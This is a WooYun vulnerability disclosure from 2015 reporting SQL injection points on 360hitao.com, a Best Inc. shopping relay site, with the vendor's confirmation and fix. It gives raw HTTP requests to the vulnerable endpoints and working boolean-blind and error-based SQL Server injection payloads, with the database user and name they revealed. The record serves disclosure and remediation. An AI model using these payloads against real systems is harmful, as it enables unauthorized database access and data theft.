当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0154401

漏洞标题:百世旗下海淘转运平台多处SQL注入

相关厂商:百世

漏洞作者: 路人甲

提交时间:2015-11-21 16:15

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-21: 细节已通知厂商并且等待厂商处理中
2015-11-22: 厂商已经确认,细节仅向厂商公开
2015-12-02: 细节向核心白帽子及相关领域专家公开
2015-12-12: 细节向普通白帽子公开
2015-12-22: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

打包求20rank

详细说明:

1,json参数注入
POST /member/ashx/topic.ashx HTTP/1.1
Content-Length: 292
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://member.360hitao.com/
Cookie: ASP.NET_SessionId=av0ljmpqgkf3pv1dwp1z4e1o; token=; TopicsPage=/member/bbs/topicTile.aspx
Host: member.360hitao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
cond=%7b%22byTime%22:2%2c%22country%22:%22ger%22%2c%22exclude%22:%221851339668408203%2c1853758958613281%2c1854788346464843*%22%2c%22keyCodes%22:%22%22%2c%22orderBy%22:0%2c%22source%22:0%2c%22topicType%22:%22all%22%7d&CurrentPage=1&methods=Paging
2.
GET /daogou/Second/Index.aspx?searchIndex=1&searchKey=Similac HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://member.360hitao.com/
Cookie: ASP.NET_SessionId=av0ljmpqgkf3pv1dwp1z4e1o; token=; TopicsPage=/member/bbs/topicTile.aspx
Host: member.360hitao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
3.
GET /Store_Rebates/store/storedetailproduct.aspx?cat=4 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://member.360hitao.com/
Cookie: ASP.NET_SessionId=av0ljmpqgkf3pv1dwp1z4e1o; token=; TopicsPage=/member/bbs/topicTile.aspx
Host: member.360hitao.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

漏洞证明:

---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cond={"byTime":2,"country":"ger","exclude":"1851339668408203,1853758958613281,1854788346464843' AND 2244=2244 AND 'HttV'='HttV","keyCodes":"","orderBy":0,"source":0,"topicType":"all"}&CurrentPage=1&methods=Paging
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
Payload: cond={"byTime":2,"country":"ger","exclude":"1851339668408203,1853758958613281,1854788346464843' AND 8446 IN ((CHAR(113)+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8446=8446) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113))) AND 'rfDz'='rfDz","keyCodes":"","orderBy":0,"source":0,"topicType":"all"}&CurrentPage=1&methods=Paging
Vector: AND [RANDNUM] IN (('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
current user: 'hitao'
current database: 'bestweb'
因为不停的封IP,所以就不跑数据了。

修复方案:

fix

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-11-22 10:51

厂商回复:

您好,漏洞确认存在,已经在处理。感谢您对百世安全的关注!

最新状态:

2015-11-24:已修复。


漏洞评价:

评价